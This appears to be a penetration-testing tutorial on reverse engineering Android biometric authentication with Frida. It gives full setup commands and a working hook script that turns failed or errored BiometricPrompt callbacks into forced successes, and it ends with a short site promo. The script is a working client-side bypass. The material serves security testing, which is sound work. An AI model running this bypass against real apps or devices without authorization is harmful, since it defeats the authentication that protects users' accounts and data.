Introduction to Android Biometrics and Frida for Security Analysis
Android’s biometric authentication mechanisms, such as fingerprint, facial recognition, and iris scans, have become fundamental to securing sensitive applications and user data. While offering enhanced user convenience, their implementation must be robust against various bypass techniques. For penetration testers and security researchers, understanding and testing these implementations is crucial. Frida, a dynamic instrumentation toolkit, stands out as an indispensable tool for this purpose. It allows us to inject custom scripts into running processes, hook into functions, modify their behavior, and observe runtime data, making it ideal for reverse engineering and bypassing client-side security controls like biometric prompts.
This article will guide you through the process of reverse engineering Android biometric authentication flows using Frida. We’ll cover environment setup, identifying key API calls, and crafting a Frida script to bypass the biometric check by manipulating its success/failure callbacks. Our focus will be on the modern AndroidX Biometric library, specifically the BiometricPrompt API.
The Android Biometric API: A Brief Overview
Modern Android applications leverage the androidx.biometric.BiometricPrompt API for biometric authentication. This API provides a standardized, secure, and user-friendly way to integrate biometric capabilities. Key components include:
BiometricPrompt: The central class responsible for displaying the biometric prompt to the user.BiometricPrompt.PromptInfo: Configures the title, subtitle, description, and negative button text for the prompt.BiometricPrompt.AuthenticationCallback: An abstract class that defines callback methods for handling authentication events:onAuthenticationSucceeded(@NonNull BiometricPrompt.AuthenticationResult result): Called when authentication is successful.onAuthenticationFailed(): Called when the biometric data is recognized but doesn’t match the enrolled data.onAuthenticationError(int errorCode, @NonNull CharSequence errString): Called when a non-recoverable error occurs (e.g., too many attempts, hardware not available).
CryptoObject(Optional): Can be associated with the biometric prompt to ensure that authentication is tied to a specific cryptographic operation, offering a higher level of security.
Understanding these components is vital for identifying potential hook points.
Setting Up Your Reverse Engineering Environment
Prerequisites
- Rooted Android Device or Emulator: Frida requires root privileges to inject into system processes.
- Android Debug Bridge (ADB): Ensure ADB is installed and configured on your workstation to communicate with your Android device.
- Python Environment: Frida tools are primarily Python-based.
Installing Frida
First, install the Frida tools on your workstation:
pip install frida-tools
Next, you need to download the frida-server binary for your target Android device’s architecture. Visit Frida’s GitHub releases page and download the appropriate frida-server-<version>-android-<arch>.xz file (e.g., frida-server-16.1.4-android-arm64.xz). Extract it and push it to your device:
adb push frida-server /data/local/tmp/frida-server
Now, connect to your device via ADB shell, make the server executable, and run it in the background:
adb shell"chmod 755 /data/local/tmp/frida-server && /data/local/tmp/frida-server &"
You can verify Frida is running by listing connected devices from your workstation:
frida-ps -U
Pinpointing the Biometric Authentication Flow
Initial Reconnaissance
To find the relevant code, you’ll typically start by decompiling the target APK using tools like Jadx-GUI or Ghidra. Search for occurrences of BiometricPrompt or AuthenticationCallback. Pay close attention to where authenticate() is called and how the AuthenticationCallback is implemented and passed to it. This static analysis gives you a roadmap for dynamic analysis.
Dynamic Analysis with frida-trace
frida-trace is excellent for quickly identifying function calls. If you suspect an app uses BiometricPrompt, you can trace its methods:
frida-trace -U -f com.your.target.package -i "*BiometricPrompt$AuthenticationCallback*onAuthenticationSucceeded"
Replace com.your.target.package with the actual package name of the application you are testing. This command will attach to the specified application, trace calls to onAuthenticationSucceeded within any BiometricPrompt$AuthenticationCallback instance, and log them to your console. Interacting with the app’s biometric feature will trigger these logs, confirming your target.
Deeper Inspection with a Custom Frida Script
For more detailed insights or if frida-trace is too noisy, a custom Frida script allows precise control. You can enumerate loaded classes and methods to confirm the existence and exact signatures of the methods you want to hook.
Java.perform(function() { Java.enumerateLoadedClasses({ onMatch: function(className) { if (className.includes("biometric") && className.includes("Callback")) { console.log("[+] Found class: " + className); } }, onComplete: function() { console.log("Class enumeration complete."); } });});
Running this with frida -U -l your_script.js -f com.your.target.package --no-pause will list all loaded classes containing “biometric” and “Callback”, helping you confirm the full path to androidx.biometric.BiometricPrompt$AuthenticationCallback.
Crafting a Frida Hook to Bypass Biometric Authentication
Identifying the Hook Point
Our goal is to force a successful authentication result. The most straightforward way to achieve this client-side is to intercept the onAuthenticationFailed() or onAuthenticationError() callbacks and, within our hook, programmatically call onAuthenticationSucceeded() on the same AuthenticationCallback instance. This effectively converts a biometric failure into a success from the application’s perspective.
The Bypass Strategy
We will implement a Frida script that hooks the onAuthenticationFailed and onAuthenticationError methods of BiometricPrompt$AuthenticationCallback. When either of these methods is triggered (meaning the biometric check failed or encountered an error), our hook will execute the original method (for logging/transparency) and then immediately call this.onAuthenticationSucceeded(). This tricks the application into believing a legitimate biometric credential was provided.
Frida Script Implementation
Here’s the detailed Frida script:
Java.perform(function() { console.log("[+] Frida script loaded for biometric bypass!"); var BiometricPromptCallback = Java.use("androidx.biometric.BiometricPrompt$AuthenticationCallback"); // Hook onAuthenticationFailed BiometricPromptCallback.onAuthenticationFailed.implementation = function() { console.log("[!!!] onAuthenticationFailed hooked! Forcing success..."); // Call the original implementation (optional, good for logging/observing original behavior) this.onAuthenticationFailed(); // Manually call onAuthenticationSucceeded on the same callback instance // This is the bypass! Note: A dummy AuthenticationResult object might be needed // if the target app specifically checks its contents. For most cases, a simple call works. try { // If the app expects an AuthenticationResult argument, create a dummy one var AuthenticationResult = Java.use("androidx.biometric.BiometricPrompt$AuthenticationResult"); var KeyStore = Java.use("java.security.KeyStore"); var KeyProperties = Java.use("android.security.keystore.KeyProperties"); // Dummy CryptoObject for the result if needed by app logic // var dummyCryptoObject = AuthenticationResult.$new(null, null, null); // Simplified var dummyResult = AuthenticationResult.$new(); // Constructor without arguments often works for simple bypasses this.onAuthenticationSucceeded(dummyResult); } catch (e) { console.log("[!!!] Error calling onAuthenticationSucceeded with dummy result, trying without: " + e); // Fallback: try calling without arguments if it's an older or simpler implementation this.onAuthenticationSucceeded(); } console.log("[+] Biometric bypass attempted: onAuthenticationSucceeded invoked!"); }; // Hook onAuthenticationError as well for robustness against various failure paths BiometricPromptCallback.onAuthenticationError.implementation = function(errorCode, errString) { console.log("[!!!] onAuthenticationError hooked! Error: " + errorCode + " - " + errString + ". Forcing success..."); // Call the original implementation this.onAuthenticationError(errorCode, errString); try { var AuthenticationResult = Java.use("androidx.biometric.BiometricPrompt$AuthenticationResult"); var dummyResult = AuthenticationResult.$new(); this.onAuthenticationSucceeded(dummyResult); } catch (e) { console.log("[!!!] Error calling onAuthenticationSucceeded with dummy result from error hook: " + e); this.onAuthenticationSucceeded(); } console.log("[+] Biometric bypass attempted from error path: onAuthenticationSucceeded invoked!"); }; console.log("[+] BiometricPrompt AuthenticationCallback hooks for bypass are now active.");});
Executing the Hook
Save the above script as biometric_bypass.js. Then, execute it against your target application:
frida -U -l biometric_bypass.js -f com.your.target.package --no-pause
Replace com.your.target.package with the application’s package name. The -f flag spawns the application and attaches Frida. The --no-pause flag ensures that the script runs immediately upon process startup. Now, when the application prompts for biometric authentication, attempt to fail it (e.g., use an unregistered finger). You should observe the Frida console logging the hook being triggered, followed by the application proceeding as if authentication was successful.
Conclusion and Further Exploration
This tutorial demonstrated a practical approach to bypassing Android biometric authentication using Frida. By understanding the underlying API and dynamically manipulating its callback mechanisms, we can effectively trick client-side checks. It’s important to remember that this technique primarily bypasses client-side biometric verification. If an application relies on server-side authentication after a successful biometric check (e.g., verifying a cryptographic signature tied to the biometric event), this bypass alone might not grant full access. Always consider the full authentication chain when assessing security.
Further exploration could involve:
- Investigating older
FingerprintManagerimplementations. - Modifying
CryptoObjectassociated with biometric prompts. - Intercepting and manipulating network requests if authentication results are sent to a backend.
Remember to always use these techniques ethically and with proper authorization for security testing and research purposes.
Android Mobile Specs & Compare Directory
Are you researching mobile hardware properties, processor SoCs, GPU chipsets, or RAM configurations? Access our complete specs catalog to compare up to 5 devices side-by-side!
Compare Devices Specs →